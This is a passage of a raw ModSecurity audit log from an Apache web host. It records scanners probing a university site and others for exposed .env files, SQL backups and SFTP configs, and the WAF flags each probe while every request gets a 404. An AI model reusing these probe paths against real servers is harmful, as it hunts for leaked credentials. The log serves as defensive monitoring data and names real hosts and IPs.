phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/frontend/.env"] [unique_id "aE87GNafa9gds5d-5EIs-gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022936057182 650214 (- - -) Stopwatch2: 1750022936057182 650214; combined=1667, p1=368, p2=1197, p3=0, p4=0, p5=101, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --492dca3d-Z-- --c6aa9474-A-- [16/Jun/2025:02:58:57.691416 +0530] aE87GVfWRcme38U-qk7sowAAAAI 185.177.72.210 50506 127.0.0.1 7081 --c6aa9474-B-- GET /:8888/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6aa9474-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a5e92aeb5013b156f102ad184f92658b1750022937; expires=Sun, 15 Jun 2025 22:28:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6aa9474-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env_hidden"] [unique_id "aE87GVfWRcme38U-qk7sowAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022937038686 652792 (- - -) Stopwatch2: 1750022937038686 652792; combined=1775, p1=390, p2=1296, p3=0, p4=0, p5=88, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6aa9474-Z-- --ef15860b-A-- [16/Jun/2025:02:59:00.635632 +0530] aE87G-CiZPLeFRlDAYwb_wAAAAU 185.177.72.210 56612 127.0.0.1 7081 --ef15860b-B-- GET /backup/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef15860b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b8c11c98779323d63f4372e92a321bf1750022940; expires=Sun, 15 Jun 2025 22:29:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef15860b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.example"] [unique_id "aE87G-CiZPLeFRlDAYwb_wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022939995153 640573 (- - -) Stopwatch2: 1750022939995153 640573; combined=1775, p1=361, p2=1300, p3=0, p4=0, p5=113, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef15860b-Z-- --83d82659-A-- [16/Jun/2025:02:59:02.757079 +0530] aE87HmeJgEpdIdHvkzyeGgAAAAY 185.177.72.210 56684 127.0.0.1 7081 --83d82659-B-- GET /:8000/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83d82659-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd2a84d89cb955fcaeae357d731fa9d51750022942; expires=Sun, 15 Jun 2025 22:29:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83d82659-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.local.example"] [unique_id "aE87HmeJgEpdIdHvkzyeGgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022942010440 746702 (- - -) Stopwatch2: 1750022942010440 746702; combined=1985, p1=393, p2=1513, p3=0, p4=0, p5=79, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83d82659-Z-- --38f48e19-A-- [16/Jun/2025:02:59:07.017958 +0530] aE87ImBSQiWwwCa-v2QG3wAAAAQ 185.177.72.210 56874 127.0.0.1 7081 --38f48e19-B-- GET /:8008/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38f48e19-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb1203ee219be32a131ac309b62d8fbf1750022946; expires=Sun, 15 Jun 2025 22:29:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38f48e19-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/bootstrap/.env"] [unique_id "aE87ImBSQiWwwCa-v2QG3wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022946320777 697249 (- - -) Stopwatch2: 1750022946320777 697249; combined=1644, p1=369, p2=1169, p3=0, p4=0, p5=106, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38f48e19-Z-- --99920b34-A-- [16/Jun/2025:02:59:10.190373 +0530] aE87JcSAI-lmnIgQu6D44QAAAAc 185.177.72.210 39736 127.0.0.1 7081 --99920b34-B-- GET /tmp/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99920b34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=293a96178895d3b8cbb8e9f8930c75ba1750022949; expires=Sun, 15 Jun 2025 22:29:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99920b34-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/db_backup.sql"] [unique_id "aE87JcSAI-lmnIgQu6D44QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022949485758 704679 (- - -) Stopwatch2: 1750022949485758 704679; combined=1704, p1=313, p2=1301, p3=0, p4=0, p5=89, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99920b34-Z-- --10700216-A-- [16/Jun/2025:02:59:11.170196 +0530] aE87JtxCjYf3vhjKXItzWQAAAA8 185.177.72.210 39782 127.0.0.1 7081 --10700216-B-- GET /new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --10700216-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6c4e08f9288337a195d2343bf3db4b91750022951; expires=Sun, 15 Jun 2025 22:29:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --10700216-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/new/.env"] [unique_id "aE87JtxCjYf3vhjKXItzWQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022950522482 647814 (- - -) Stopwatch2: 1750022950522482 647814; combined=1594, p1=323, p2=1165, p3=0, p4=0, p5=106, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10700216-Z-- --a520a445-A-- [16/Jun/2025:02:59:13.165967 +0530] aE87KCHEjD4mqWjYVm18OAAAABM 185.177.72.210 39870 127.0.0.1 7081 --a520a445-B-- GET /:8080/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a520a445-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1cce9e5afb2a3d6c2449e41f25bd95631750022953; expires=Sun, 15 Jun 2025 22:29:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a520a445-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/configurationtionura/.env"] [unique_id "aE87KCHEjD4mqWjYVm18OAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022952488497 677531 (- - -) Stopwatch2: 1750022952488497 677531; combined=1878, p1=362, p2=1411, p3=0, p4=0, p5=105, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a520a445-Z-- --ece47d33-A-- [16/Jun/2025:02:59:13.780864 +0530] aE87KOCiZPLeFRlDAYwcBQAAAAU 13.39.48.132 39828 127.0.0.1 7081 --ece47d33-B-- GET /sftp-config.json HTTP/1.0 Host: l.thecreatorpreneur.in X-Real-IP: 13.39.48.132 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 Accept-Encoding: gzip, deflate Accept: */* --ece47d33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://l.thecreatorpreneur.in/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --ece47d33-H-- Message: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "l.thecreatorpreneur.in"] [uri "/sftp-config.json"] [unique_id "aE87KOCiZPLeFRlDAYwcBQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/l.thecreatorpreneur.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022952015725 1765210 (- - -) Stopwatch2: 1750022952015725 1765210; combined=2007, p1=384, p2=1523, p3=0, p4=0, p5=99, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ece47d33-Z-- --e21f043f-A-- [16/Jun/2025:02:59:16.193607 +0530] aE87K2eJgEpdIdHvkzyeIQAAAAY 185.177.72.210 40000 127.0.0.1 7081 --e21f043f-B-- GET /home/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e21f043f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf45272f9b2da5fca027c7e96730da4c1750022956; expires=Sun, 15 Jun 2025 22:29:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e21f043f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/home/.env"] [unique_id "aE87K2eJgEpdIdHvkzyeIQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022955505892 687778 (- - -) Stopwatch2: 1750022955505892 687778; combined=1854, p1=364, p2=1391, p3=0, p4=0, p5=99, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e21f043f-Z-- --ccc9f242-A-- [16/Jun/2025:02:59:22.099216 +0530] aE87MXwizUED0-SK4eRMAAAAAAE 185.177.72.210 60708 127.0.0.1 7081 --ccc9f242-B-- GET /test/aries-js-worker/fixtures/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ccc9f242-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2dc0a43e5f073eb8cfed7217f92442531750022961; expires=Sun, 15 Jun 2025 22:29:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ccc9f242-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/aries-js-worker/fixtures/.env"] [unique_id "aE87MXwizUED0-SK4eRMAAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022961444240 655038 (- - -) Stopwatch2: 1750022961444240 655038; combined=1965, p1=445, p2=1426, p3=0, p4=0, p5=94, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ccc9f242-Z-- --35111b11-A-- [16/Jun/2025:02:59:28.807212 +0530] aE87OMSAI-lmnIgQu6D46QAAAAc 185.177.72.210 60998 127.0.0.1 7081 --35111b11-B-- GET /clients.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --35111b11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5706ff0bf26faab445bbb8462117d03d1750022968; expires=Sun, 15 Jun 2025 22:29:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --35111b11-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/clients.sql"] [unique_id "aE87OMSAI-lmnIgQu6D46QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022968162984 644290 (- - -) Stopwatch2: 1750022968162984 644290; combined=1676, p1=327, p2=1263, p3=0, p4=0, p5=86, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35111b11-Z-- --17d8485a-A-- [16/Jun/2025:02:59:40.470336 +0530] aE87Q1fWRcme38U-qk7suQAAAAI 185.177.72.210 58370 127.0.0.1 7081 --17d8485a-B-- GET /gruntFile.js HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --17d8485a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2789bf6bbd9d631bb98ed4dd9b90da3c1750022980; expires=Sun, 15 Jun 2025 22:29:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --17d8485a-H-- Message: Warning. Matched phrase "/gruntfile.js" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/gruntfile.js" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/gruntFile.js"] [unique_id "aE87Q1fWRcme38U-qk7suQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022979795679 674724 (- - -) Stopwatch2: 1750022979795679 674724; combined=2064, p1=442, p2=1535, p3=0, p4=0, p5=86, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --17d8485a-Z-- --d0330873-A-- [16/Jun/2025:02:59:44.413179 +0530] aE87R8SAI-lmnIgQu6D49AAAAAc 185.177.72.210 58546 127.0.0.1 7081 --d0330873-B-- GET /frontend/momentum-fe/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d0330873-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=765c2d65d8ec5a2be8b1e1f70986d81b1750022984; expires=Sun, 15 Jun 2025 22:29:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d0330873-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/frontend/momentum-fe/.env"] [unique_id "aE87R8SAI-lmnIgQu6D49AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022983763561 649681 (- - -) Stopwatch2: 1750022983763561 649681; combined=2302, p1=360, p2=1854, p3=0, p4=0, p5=87, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0330873-Z-- --38e35945-A-- [16/Jun/2025:02:59:53.371874 +0530] aE87UMSAI-lmnIgQu6D4-AAAAAc 128.199.112.101 41218 127.0.0.1 7081 --38e35945-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 